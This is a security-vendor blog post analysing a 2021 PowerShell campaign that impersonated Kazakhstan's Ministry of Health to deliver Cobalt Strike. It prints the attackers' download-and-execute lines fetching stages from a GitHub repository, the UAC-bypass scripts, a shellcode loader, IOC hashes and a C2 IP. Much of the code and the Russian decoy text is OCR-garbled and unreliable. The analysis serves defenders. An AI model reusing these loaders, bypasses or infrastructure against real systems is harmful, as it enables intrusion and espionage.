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A multi-stage PowerShell based attack targets Kazakhstan
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November 12, 2021
This blog post was authored by Hossein Jazi.

On November 10 we identified a multi-stage PowerShell attack using a document lure impersonating the Kazakh

Ministry of Health Care, leading us to believe it targets Kazakhstan.

A threat actor under the user name of DangerSklif (perhaps in reference to Moscow’s emergency hospital) created

a GitHub account and uploaded the first part of the attack on November 8.

Article continues below this ad.

In this blog we will review the different steps the attacker took to fly under the radar with the intent on deploying

Cobalt Strike onto its victims.

Overview

The attack started by distributing a RAR archive named “YBegomnenue.rar” (“Notice.rar”). The archive file
contains a Ink file with the same name pretending to be a PDF document from “Ministry of Health Care, Republic

of Kazakhstan”. Upon opening the Ink file, a PDF file will be shown to confuse victims while in the background
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multiple stages of this attack are being executed. The decoy document is an amendment for a Covid 19 policy that

has been issued by the Chef State Sanitary of the Republic of Kazakhstan.
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epada Pecoyviankn Kazazctan

B memax npenymperleHHf pacOpoCTPAHEHHR KOPOHAEHPYCHOH HH{EKITHH
COVID-19 (mamee — COVID-19) cpemm HaceneHHa Pecmyommre KazaxcTan, B
COOTBETCTBHH C IIOIIVHETOM /) MyHKTA | cTateH 38, mogmyHKTOM 8) IVEETA 7 CTATEH
104 Kogerca Pecovommrs Kazaxcras ot 7 mroma 2020 roga «0 3gopoEke Hapoda H
CHCTEME  3OPABOOXPAHeHHA», MOCTaHOBIeHHeM [IpaEHTenecTEa PecmyOmEEH
Kazaxctag ot 24 cemradps 2020 roga Ne 612 «0OO0 VTIBep#EIEHHH NepetdHT
33007IeBaHHA, OPOTHE KOTOPEIX NPOBOJATCE 00A3aTeldbHEE NpodHIAKTHIeCKHE
IPHBHEKH B PaMEAX TAPAaHTHPOBAHHOID ODBEMA MEJHITHHCKOH ITOMOINH, MPABHT,
CPOKOE HX OPOBEIEHHA H IPYIN HACETEHHA., NOIISEAMHEX NOPoQHIAKTHIECKHM
npEeEEEaMy [IOCTAHOB./IARD:

1. BHeCTH B MOCTAaHOBIEHHEE [ TAEHOIO IoCyIApCTEEHHOTD CAHHTAPHOIO Epada
Pecrryomaes Kazaxcras ot 25 gexadpa 2020 roga Ne 67 «O ganbHefimeM yCHIEHHH
Mep [0 DOPeIVIOPekIcHHID 3a0071eBaHHH KOpDOHABHDYCHOH HHDeKUHeH cpeiH
HaceneHHa Pecoyomurm Kazaxctamy (damee — IITTCB NeG7) cnemviomeEe H3IMEHEHHT
H JOIONHEHHA:

1) momryHEET 1) oyHEETa 6-1 [IIT'CB NeG7 HITOXHTE B cleIyIOMeR peTasIlHH:

«l) orpaEHdeHHe JoOycKa Ha paboTy B oYHOM peXHME i paboTHHEOE,
HENOMYIHEIIHX BAFTHHEANHK OpoTHE COVID-19 (3a HCKIHTEHHEM JTHIL, HMEROIIHX
MOCTOAHHEIE MENHITHHCKHE NPOTHEONOKAZAHHA H nepebonepmex COVID-19 B
TedeHHE NOCIEIHEX 3-X MecANeE) CIeIyIOMHX OpraHH3alHA/00EEKTOR:

0OBEKTOR MO OKA3aHHI YCIYT HACEMEHHEO (MEHTPE 0DCTY AHEAHHA HACEIEHHA
(ITOH=r), otgeneans AQ «KazmowTay, DaHEKH BTOPOTO YPOBHA, 00BEKTH HHHAHCOBOTO
PEIHEA, CTPAXOBEIE KOMIAHHH, aTeHTCTEA 0 HeOBHAKHMOCTH, PeKIaMERIE aTeHTCTEA,
oDMEHHEIE YHKTEL, 10MO3pgEl, CANOHE! KPAcOTH, NAPHEMAXEPCKHE, XHMIHCTEH,
OpagedHEle, PHTHEC, COOPTROMIUISECE], CIIOPTHEHO-0300POBHTENEERE meHTPsl, CITA
H MACCA®HEIE CANTOHEL/TeHTPRI'KAOHHeTE, 0aHH, cayeHel, OaccefHBl, IUITEH,

BT MO72021 D39 Komes e evpommon. 5y e, Beposs O30 Do menra op 7.4 20, Do peyise spospes HEl

Attack process
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The following figure shows the overall process of this attack. The attack started by executing the Ink file that calls
PowerShell to perform several techniques such as privilege escalation and persistency through an autorun registry

key. We will provide the detailed analysis in the next section.

Windows 7: using the sysprep.exe
system utility and DLL side-loading

Windows 10: using the
SilentCleanup task in the Task

Scheduler I I
UAC Bypass
updater.ps1 CobaltStrike
> — — > N
@ = = Reg.exe
’ ’ . B HKLWMVWSOFTWARE WM i i Jpdats
lib7.ps1 ib30.ps1 or lib207.ps1 cmd.bat 1108 ps1
Altrib.exe
"aftrib.exe" +h
Decoy: "CiUsers\Lab\Downloads\Yeenomnetxne.pdf* “C:\Program Files\cu.vbs"

All stages of this attack have been hosted in one Github repository named GoogleUpdate. This repository was
created on November 8th by a user named DangerSklif. The DangerSklif user was created on GitHub on

November 1st.

= C @ github.com/DangerSklif/GoogleUpdate ~

) WhyGitHub?© Team Enterprise Explore - Marketplace Pricing Search Signin [ Signup |

A DangerSklif / GoogleUpdate ' Public L\ Notifications 7 ste

<> Code (O Issues 1% Pull requests ® Actions [ Projects 0 wiki @ security |~ Insights

P main~  $1branch ©o0tags Gotofile About

No description, website, or topics

DangerSklif Update lib706.ps1 3de87d3 3daysago D17 commits  provided.
D updaterpst Add files via upload 3daysago
[} e6af39c6235968088a3404774ae1... Add files via upload 3daysago | Releases
No releases published
D lib106.pst Update lib106.ps1 3daysago
O lib2.pst Update lib2.ps1 3 days ago
Packages
D lib207.pst Add files via upload 3daysago
No packages published
O lib30.pst Add files via upload 3 days ago
O lib63.pst Add files via upload 3daysago
Languages
O lib6a.pst Add files via upload 3 days ago
O lib7pst Update lib7.ps1 3 daysago ® PowerShell 100.0%
O 1ib706.p51 Update ib706.ps1 3 days ago
O pdfizico Add files via upload 3daysago

Analysis

The embedded Ink file is obfuscated and after de-obfuscation we can see that it used cmd.exe to call PowerShell to

download and execute the first stage of the attack from the Github account (lib7.ps1).
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Info, HasRelativePath, HaskorkingDir, HasArguments, HasIconLocation, IsUnicode, HasExpstring

jow as minimized without activating it.)
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My Compute

UID ==> My Computer

The lib7.ps1 downloads the decoy PDF file from the same Github account and stores it in
the Downloads directory. In the next step it opens the decoy PDF to confuse the user while it performs the rest of
process in the background, which includes getting the OS version and downloading the next stage based on the OS

version.

§lwoxheihwic= “https://raw.githubusercontent.com/DangerSklif/GoogleUpdate/main/e6af39c623596EbEEa3404T7T74aelledd original . 536673 .pdE”

§osich —="https://raw.githubuser tent.com/DangerSklif/GoogleUpdate/main/1ib30.psl’

$ishscisof="https:

Spath= §env:USERPROFILE + “\Downloads\Vsemcmneswe.pdf”
(Hew-Object System.Met.WebClient).DownloadFile (§lwoxheihwic,Spath)
Start-Process -F $path

§0SVersion = (Get-WmiOkbject Win32_OperatingSystem).Caption

if ($0SVersion -match "77)

IEX ((new-objsct net.wsbclient).downloadstring($osicheuche)})

if (§0SVersion -match "E")

IEX ((new-cbjesct net.webclient).downloadstring(§osicheuche})
1
if (§0SVersion -match "107)
{

IEX ((new-object net.webclient).downloadstring($ishscisof))

If the OS version is 7 or 8, it downloads and executes lib30.ps1 and if the OS version is 10 it downloads and
executes lib207.ps1. The reason the actor is checking the OS version is because it is trying to execute the right

privilege escalation method. These techniques previously used by TA505 in their campaign to drop SrvHelper.

» Using the SilentCleanup task in the Task Scheduler to bypass UAC in Windows 10: Attacker used
Lib207.ps1 to bypass UAC in Windows 10. The PowerShell commands used to perform the bypass are
XOR encrypted using 0x58 key.
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$vBS_file =

£( ([sTRing] $verBosEPReFeReNCE) [, 1]+ ' ~JoIn’

G T [STriNgD(

LSPLIT( ! I

S O (6 T I S

o+ )

After decrypting the commands, we can see the process of UAC bypass which includes creating a SilentCleanup

task in the Task Scheduler that calls PowerShell to execute the created vbs file with higher privilege.

t-Content -Path $enwv:temph\can.vbs -Value $VBS file

fPayload goes
#It"11l run as Ad

wscript $env:temph\can.vbs

se |

if((([System.Security.Principal.WindowsIdentity]::GetCurrent ()).groups -match &
here

ministrator

DA

$Name
et-ItemProperty

-':-':r.- =3
mPrope

$rag:|_stryPath = "HI

; =Path $registryPath -Name $name -Value “woorig
‘-.u"htusk‘: Jrun a’tn \Microsoft\Windows\DiskCleanuph\SilentCleanup /I I

:rty =Path $registryPath =Name $name

Ju1—LH||

}
Start-Sle
Remowe

ep =5

Start-5leep -s

:=Ttem -Path $env:temp\can.vbs

Using the sysprep.exe system utility and DLL side-loading to bypass UAC in Windows 7 and 8: Lib30.ps1

is used to execute this bypass. Simliar to 1ib207.ps1 this PowerShell script is also XOR encrypted but using
different key (0x02).

&( ([sTRinG] SVERBOSEPrefERenCe) [ 1, ]+ =J0In" ') ( [StrING]::JOTN(

S,

Figure 9 shows PowerShell commands after decryption. The process starts by creating a batch file (cmd.bat) in the

“Windows/Temp” directory. In the next step, a cab archive file is created containing a DLL (CRYPTBASE.dII for
Windows 7 or shcore.dll for Windows 8. Then this cab file is extracted into the C:WindowsSystem32Sysprep

directory using wusa.exe.

At the end, the sysprep.exe system utility launches which side loads the CRYPTBASE.dll for Windows 7 or

shcore.dll for Windows 8. This DLL executes the created cmd.bat file which leads to executing it with a high

privilege.
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if (([IntPtr]::S5ize) =-eq H)
{

$D11Bytes = $D11Bytes6d
}
elseif (([IntPtr]::3ize) -eq <)
{

$D11Bytes = $D11Bytes32
}
Out-File -FilePath $PayleadPath -InputObject $Payload -Encoding aseii

$0SVersion = (Get-WmiObject =Class win32 OperatingSystem).BuildNumber
if ($0SVersion -match "7¢")
{
$dllname = "CRHY
$PathTeoDll = @

[Byte[]] $temp = $D1lBytes -split '
[System.IO.File] ::WriteAllBytes ($PathToDl1l, $temp)
}
if ($08Version -match "9¢")
{
4dllname = "shcoore.dll
$PathToeDll = "= : ph5d "

[Byte[]l] $temp = $Dl1Bytes -split ' '
[System.I0.File] ::WriteAllBytes ($PathToD1l, $temp)
}
§Target = "Jconv:
S$wusapath = "
$exacpath = "C:\Windows\ Syt S5ys]
$null = & makecab $PathToDll $Target
$null = Start-Process -Windowstyle hidden -F wusa -ArgumentList °
Start-Sleep -Seconds
Start-Process -Windowstyle hidden -F $execpath
Start-Sleep -s
I[tem =Path $Target
[tem =Path $PathToDll
==Item =-Path $PayloadPath

After bypassing UAC, in all OS versions the next stage payload is downloaded and executed (lib106.ps1).
This stage performs the following actions:

» Creates a vbs file (cu.vbs) in ProgramFiles directory and makes this multi-stage attack persistence by
adding this vbs file to HKLMSoftwareMicrosoftWindowsCurrentVersionRun registry key.
e Makes vbs file hidden using “Attrib.exe +h” command.

e Downloads and executes the final stage (updater.ps1) using PowerShell.

The final stage (updater.ps1) is executing Cobalt Strike in PowerShell context. In fact this PowerShell script is
PowerShell variant of Cobalt Strike.
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The Cobalt Strike ShellCode is base64 encoded and XOR encrypted using 35 key. After decoding and decrypting

the ShellCode it allocates it into memory using VirtualAlloc and finally execute it by calling Invoke function.

B}

y 1 {15y ')) . Invoke ($null
1), $var_procedure))

legate_type {

(1] $var_parameters,
id)

LyName ( ")), [System.Reflection.Emit.Ass: lderAccess] : :Run) . cModule (

ain.DefineDynamicAssembly ((New-Object System.Reflectior
A s stem.MulticastDelegatel)

", ISystem.Reflection.CallingConver
*, $var_return_type, Svar_pa

4, $var_parameters) .Set InplenentationFlags (" Bl
e 5 Rur )

for (sbyte = ; Sbyte -1t §sc.Count; Sbytert) {
$scl$byte] = $sclSbyte] -bxor

)

Svirtualalloc = [Systen. TonPointer ((funcl kernel3z.dll VirtualAlloc), (funcz @([IntPtr], [UInt3z], [UInt3z2], [UInt321) ([IntPtr1))
Sbutfe: i

$virtualal

theleg
ngth, 0x3000, 0x40)

“opy($se, O, Sbuffer, $sc.length)

Marshal]: ¢ L (func2 @([Intptr]) ([Void])))

$var_exec. Invoke ([IntPtr] ::Zexo)

Kazakhstan in the news

Kazakhstan has been in the news recently for taking over China in the cryptomining industry, depleting its own

electric resources. The energy-rich country is a very important ally for Russia in particular with lucrative joint oil

and gas ventures.

Other than their GitHub profile, we do not have much information on the threat actor or their exact intention with

this attack. However, monitoring and espionage are a likely motive.
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Malwarebytes users were protected thanks to the Anti-Exploit layer of our product.

Beoadme \© @ 8 @

Add Extract To Test View Delete Find Wizard Info VirusScan Comment  Protect

1T |m Yeepomnenwerar - RAR archive, unpacked size 3,815 bytes

A

Mame Size Packed Type Madified CRC32
[ 1. File folder
D ¥YeegomneHne.p... 3,815 1,238 Shortcut 11/8/2021 10:1...  D12CB0N

@ Exploit automatically blocked

Affected application:  winrar
Protection layer: Application Behavior Protecti...
Protection technigue: Exploit payload process block...

10Cs

Yeenomnenue.pdf.Ink:
574a33ee07e434042bdd1f59fc89120cb7147a1e20b1b3d39465cd6949ba7d99
YBegomiieHHe.rar:
d0f3c838bb6805c8a360e7b1f28724e73e7504f52147bbbb06551f91f0df3edb
Updater.ps1:
08f096134ac92655220d9ad7137e35d3b3c559359¢238e034ec7b4f33a246d61
lib106.ps1:
81631df5d27761384a99¢1f85760ea7fe47acc49ef81003707bb8c4cbfbafdbe
lib2.ps1:
912434caec48694b4c53a7f83db5f0b44b84ea79be57d460d83f21181eflacbb
1ib207.ps1:
893f6cac7bclalc3ee72d5f3e6994e902b5af044f401082146a486a0057697e5
1ib30.ps1:
11d6b0b76d057ac9db775d9a1bb14da2ed9acef325060d0452627d9391bedea?
lib63.ps1:
8f974d8d0741fd1ec9496857d7aabbe0d3ba4d2e52cc311c76c28396edae9eb9
lib64.ps1:
301194613cbc11430d67acf7702fd15ec40ee0f9be348cf8a33915809b65bcse
lib7.ps1:
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026fcb13e9adeabcleab73c892118a96731b868a1269f348a14a5087713dd9e5
lib706.ps1:
36aba78e63825ab47c1421f71ca02422c86¢774ba525959f42b8e565a808a7d4
C2:

188.165.148.241

Source: https://blog.malwarebytes.com/threat-intelligence/2021/11/a-multi-stage-powershell-based-attack-targets-kazakhstan/
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